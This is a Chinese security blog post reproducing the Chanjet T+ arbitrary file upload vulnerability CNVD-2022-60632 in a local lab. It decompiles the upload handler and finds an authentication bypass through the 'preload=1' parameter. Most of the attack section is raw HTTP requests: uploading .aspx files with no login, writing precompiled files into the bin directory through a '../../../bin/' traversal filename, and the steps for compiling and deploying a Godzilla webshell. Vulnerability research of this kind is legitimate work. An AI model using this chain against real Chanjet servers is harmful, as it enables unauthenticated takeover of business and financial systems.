CNVD-2022-60632 畅捷通任意文件上传漏洞复现

作者: print("") 分类: 信息安全 发布时间: 2022-09-04 22:09

一、环境安装

https://www.chanjetvip.com/product/goods/download-list?id=53aaa40295d458e44f5d3ce5

选择17.0

https://dad.chanapp.chanjet.com/TplusYZHJ17.0.zip

建议选择迅雷下载。解压后选择标准版安装

安装的会比较慢。等等就行了。记得先把安全软件关闭了。这样不会出错(安装了两次)

过程中需要配置MSSQL 数据库的。不设置即可

二、漏洞审计

根据网上流传的payload找到文件

SM\SetupAccount\Upload.aspx 

发现该文件为编译的文件。

畅捷通整套程序用了预编译,直接到根目录的bin下找对应的compiled文件

畅捷通整套程序用了预编译,直接到根目录的bin下找对应的compiled文件

bin\upload.aspx.9475d17f.compiled

<?xml version="1.0" encoding="utf-8"?>
<preserve resultType="3" virtualPath="/WebSite/SM/SetupAccount/Upload.aspx" hash="16f32931f" filehash="8aff27fcb5b4a92d" flags="110000" assembly="App_Web_upload.aspx.9475d17f" type="ASP.sm_setupaccount_upload_aspx">
    <filedeps>
        <filedep name="/WebSite/SM/SetupAccount/Upload.aspx" />
        <filedep name="/WebSite/SM/SetupAccount/Upload.aspx.cs" />
    </filedeps>
</preserve>

使用dnspy 查看

// CommonPage_SetupAccount_Upload
// Token: 0x06000004 RID: 4 RVA: 0x000020AC File Offset: 0x000002AC
protected void Page_Load(object sender, EventArgs e)
{
	this.ReadResources();
	if (base.Request.Files.Count == 1)
	{
		string text = "images/index.gif";
		object obj = this.ViewState["fileName"];
		if (obj != null)
		{
			text = obj.ToString();
		}
		if (this.File1.PostedFile.ContentLength > 204800)
		{
			base.Response.Write(string.Concat(new string[]
			{
				"<script language='javascript'>alert('",
				this.PhotoTooLarge,
				"'); parent.document.getElementById('myimg').src='",
				text,
				"';</script>"
			}));
			return;
		}
		if (this.File1.PostedFile.ContentType != "image/jpeg" && this.File1.PostedFile.ContentType != "image/bmp" && this.File1.PostedFile.ContentType != "image/gif" && this.File1.PostedFile.ContentType != "image/pjpeg")
		{
			base.Response.Write(string.Concat(new string[]
			{
				"<script language='javascript'>alert('",
				this.PhotoTypeError,
				"'); parent.document.getElementById('myimg').src='",
				text,
				"';</script>"
			}));
			return;
		}
		string fileName = this.File1.PostedFile.FileName;
		string text2 = fileName.Substring(fileName.LastIndexOf('\\') + 1);
		this.File1.PostedFile.SaveAs(base.Server.MapPath(".") + "\\images\\" + text2);
		string text3 = base.Server.MapPath(".") + "\\images\\" + text2;
		this.ViewState["fileName"] = "images/" + text2;
		TPContext.Current.Session["ImageName"] = text3;
	}
}

代码大概的意思为。上传的文件不大于2M 然后判断Content-Type 是否为其中一个类型。然后写入到images 目录中。文件名没有任何过滤。

构造一下上传代码

POST /tplus/SM/SetupAccount/Upload.aspx HTTP/1.1
Host: 192.168.1.77:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASP.NET_SessionId=gvigofzulthd2v1i2q5zndtf; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1662302093; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1662302093
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Length: 182

------WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Disposition: form-data; name="File1";filename="11.aspx"
Content-Type: image/jpeg

1
------WebKitFormBoundarywwk2ReqGTj7lNYlt--

发现需要登陆。那么翻看一下代码好像没有找到鉴权的地方。那么找一下他的引用文件

把App_global.asax 导入到dnspy 中

也没有发现什么鉴权的函数之类的。那么再往上找一层 发现他引用了App_Web_global.asax.cs.cdcab7d2 这个。那么把dll文件丢进去

发现一个 Application_PreRequestHandlerExecute 函数。

参数preload 为1 的时候就不经过下方的session 验证了。

进行尝试

POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1
Host: 192.168.1.77:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASP.NET_SessionId=gvigofzulthd2v1i2q5zndtf; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1662302093; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1662302093
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Length: 183

------WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Disposition: form-data; name="File1";filename="222.aspx"
Content-Type: image/jpeg

1
------WebKitFormBoundarywwk2ReqGTj7lNYlt--

发现返回结果不一样了。那么看看images文件中是否有这个文件

发现成功上传了

三、getshell

实际访问的时候他返回的错误信息:未预编译文件那么使用绕过的方式

用哥斯拉随便生产一个木马文件

然后CMD 执行

C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe -v /  -p M:\iiss D:/iss -fixednames

-p 代表的是你木马的目录。 D:\iss 表示生成在那个目录中。

执行完毕后,查看D:\iss 目录

把这两个文件上传到bin目录中

POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1
Host: 192.168.1.77:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASP.NET_SessionId=gvigofzulthd2v1i2q5zndtf; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1662302093; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1662302093
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Length: 192

------WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Disposition: form-data; name="File1";filename="../../../bin/xx.bin"
Content-Type: image/jpeg

1
------WebKitFormBoundarywwk2ReqGTj7lNYlt--

上传完成之后访问如下:

http://192.168.1.77:8080/tplus/111.aspx?preload=1

备注一定要加preload=1 这个。不然他还是走了验证的通道


如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表评论

您的电子邮箱地址不会被公开。